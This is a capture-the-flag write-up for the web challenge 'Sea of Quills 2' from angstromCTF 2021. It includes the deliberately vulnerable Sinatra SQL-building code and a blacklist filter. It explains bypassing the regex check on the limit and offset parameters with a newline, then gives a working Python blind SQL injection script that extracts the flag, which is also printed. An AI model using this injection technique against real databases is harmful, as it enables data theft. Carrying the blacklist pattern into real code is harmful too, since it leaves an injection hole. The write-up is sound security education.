ångstromCTF 2021: Sea of Quills 2

Sea of Quills 2

Category: Web

160 points

A little bird told me my original quills store was vulnerable to illegal hacking! I’ve fixed my store now though, and now it should be impossible to hack!

Source

Author: JoshDaBosh

app.rb

require 'sinatra'
require 'sqlite3'

set :server, :puma
set :bind, "0.0.0.0"
set :port, 4567
set :environment, :production

get '/' do
	db = SQLite3::Database.new "quills.db"
	@row = db.execute( "select * from quills" )
	

	erb :index
end

get '/quills' do
	erb :quills	

end


post '/quills' do
	db = SQLite3::Database.new "quills.db"
	cols = params[:cols]
	lim = params[:limit]
	off = params[:offset]
	
	blacklist = ["-", "/", ";", "'", "\"", "flag"]
	
	blacklist.each { |word|
		if cols.include? word
			return "beep boop sqli detected!"
		end
	}

	
	if cols.length > 24 || !/^[0-9]+$/.match?(lim) || !/^[0-9]+$/.match?(off)
		return "bad, no quills for you!"
	end

	@row = db.execute("select %s from quills limit %s offset %s" % [cols, lim, off])

	p @row

	erb :specific
end

Solution

A continuation of Sea of Quills. This time it’s not that easy, cols parameter has been limited to 24 characters, also flag keyword has been blacklisted.

I’ve spent literally hours trying different things such as passing arrays/hashtables instead of strings, then suddenly I’ve realized that regexes are not so strict that I thought at the beginning. I can still exploit offset and limit parameters by passing newline!

How to use it in this challenge? The answer is Blind SQL Injection!!!

import requests
from string import digits, ascii_letters

offset = 0
cols = 'url,desc,name'
flag = 'actf{'
characters = [i for i in digits + ascii_letters] + ['\_', '!', '#', '@', '$', '}']

while flag[-1] != '}':
    for i in characters:
        flag_candidate = flag + i
        payload = {
            'cols': cols,
            'offset': offset,
            'limit': "0\n+ (select count(*) from flagtable where flag like '{}%' escape '\\')".format(flag_candidate)
        }
        r = requests.post('https://seaofquills-two.2021.chall.actf.co/quills', data=payload)
        if len(r.content) > 1000:
            flag = flag + i
            print(flag)
            break

print('Flag: {}'.format(flag.replace('\\', '')))

Flag

actf{the_time_we_have_spent_together_riding_through_this_english_denylist_c0776ee734497ca81cbd55ea}

Privacy Policy
luc © 2021